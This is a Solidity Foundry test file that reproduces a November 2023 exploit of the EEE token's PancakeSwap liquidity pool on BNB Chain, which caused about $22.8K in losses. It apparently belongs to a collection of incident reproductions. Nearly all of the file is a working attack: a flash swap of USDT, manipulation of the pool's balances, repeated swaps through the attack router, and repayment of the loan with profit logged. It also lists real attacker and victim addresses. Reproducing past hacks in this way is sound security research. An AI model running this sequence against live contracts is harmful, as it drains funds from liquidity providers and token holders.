src/test/2023-11/EEE_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : ~$22.8K
7// Attacker : https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9
8// Attack Contract : https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5
9// Vulnerable Contract : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833
10// Attack Tx : https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833#code
14 
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
19 
20// @Other Findings
21// address 0xde19b6f4eaaf3a897d1b190d37c86d6ef3b24d02 gained 9,358,702 EEE Token
22// address 0xe568a4ce2eb77d230e1473d2cfd5b5e2129f69a8 gained 18K USD
23// address 0xfef7b2b4fd8f9fdca24713999a5e76c044ccfc0d gained 27K USD
24 
25pragma solidity ^0.8.0;
26 
27import "forge-std/Test.sol";
28import "./../interface.sol";
29 
30interface IPancakePool {
31    function swap(uint256, uint256, address, bytes calldata) external;
32}
33 
34interface IAttackRouter {
35    function swap(address, uint256) external;
36}
37 
38contract ContractTest is Test {
39    IPancakePool pancake = IPancakePool(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0);
40    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
41    address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;
42    IERC20 usdt = IERC20(payable(usdtAddress));
43    IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);
44    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
45 
46    address cake_LP = 0x0506e571ABa3dD4C9d71bEd479A4e6d40d95C833;
47    address EEE = 0x297f3996Ce5C2Dcd033c77098ca9e1acc3c3C3Ee;
48    address swap_router = 0x5002F2D9Ac1763F9cF02551B3A72a42E792AE9Ea;
49 
50    function setUp() external {
51        cheats.createSelectFork("bsc", 33_940_984 - 1);
52    }
53 
54    function testExploit() external {
55        uint256 before = usdt.balanceOf(address(this));
56        emit log_named_uint("[Begin] Attacker USDT before exploit", before);
57        address me = address(this);
58        pancake.swap(750_000_000_000_000_000_000_000, 0, me, "0x00");
59        uint256 after_attack = usdt.balanceOf(address(this));
60        emit log_named_uint("[End] Attacker USDT after exploit", after_attack);
61        emit log_named_uint("[End] Profit in $", (after_attack - before) / 1e18);
62    }
63 
64    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
65        usdt.transfer(cake_LP, amount0); // transfer usdt to the LP, surging the usdt supply
66 
67        uint256 EEE_amount = 52_000_000_000_000_000_000_000_000;
68        IPancakePool(cake_LP).swap(EEE_amount, 0, address(this), ""); // get EEE
69        IERC20(EEE).approve(swap_router, 100_000_000_000_000_000_000_000_000_000_000);
70 
71        // swap EEE to USDT
72        IAttackRouter(swap_router).swap(EEE, 3_000_000_000_000_000_000_000_000);
73        uint8 index = 0;
74        while (index < 8) {
75            IAttackRouter(swap_router).swap(EEE, 800_000_000_000_000_000_000_000);
76            index++;
77        }
78 
79        IERC20(EEE).transfer(cake_LP, IERC20(EEE).balanceOf(address(this))); // transfer directly to the LP
80 
81        IPancakePool(cake_LP).swap(0, 188_300_000_000_000_000_000_000, address(this), ""); // swap EEE to USDT
82        usdt.transfer(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0, 751_950_000_000_000_000_000_000); // payback
83    }
84 
85    fallback() external payable {}
86}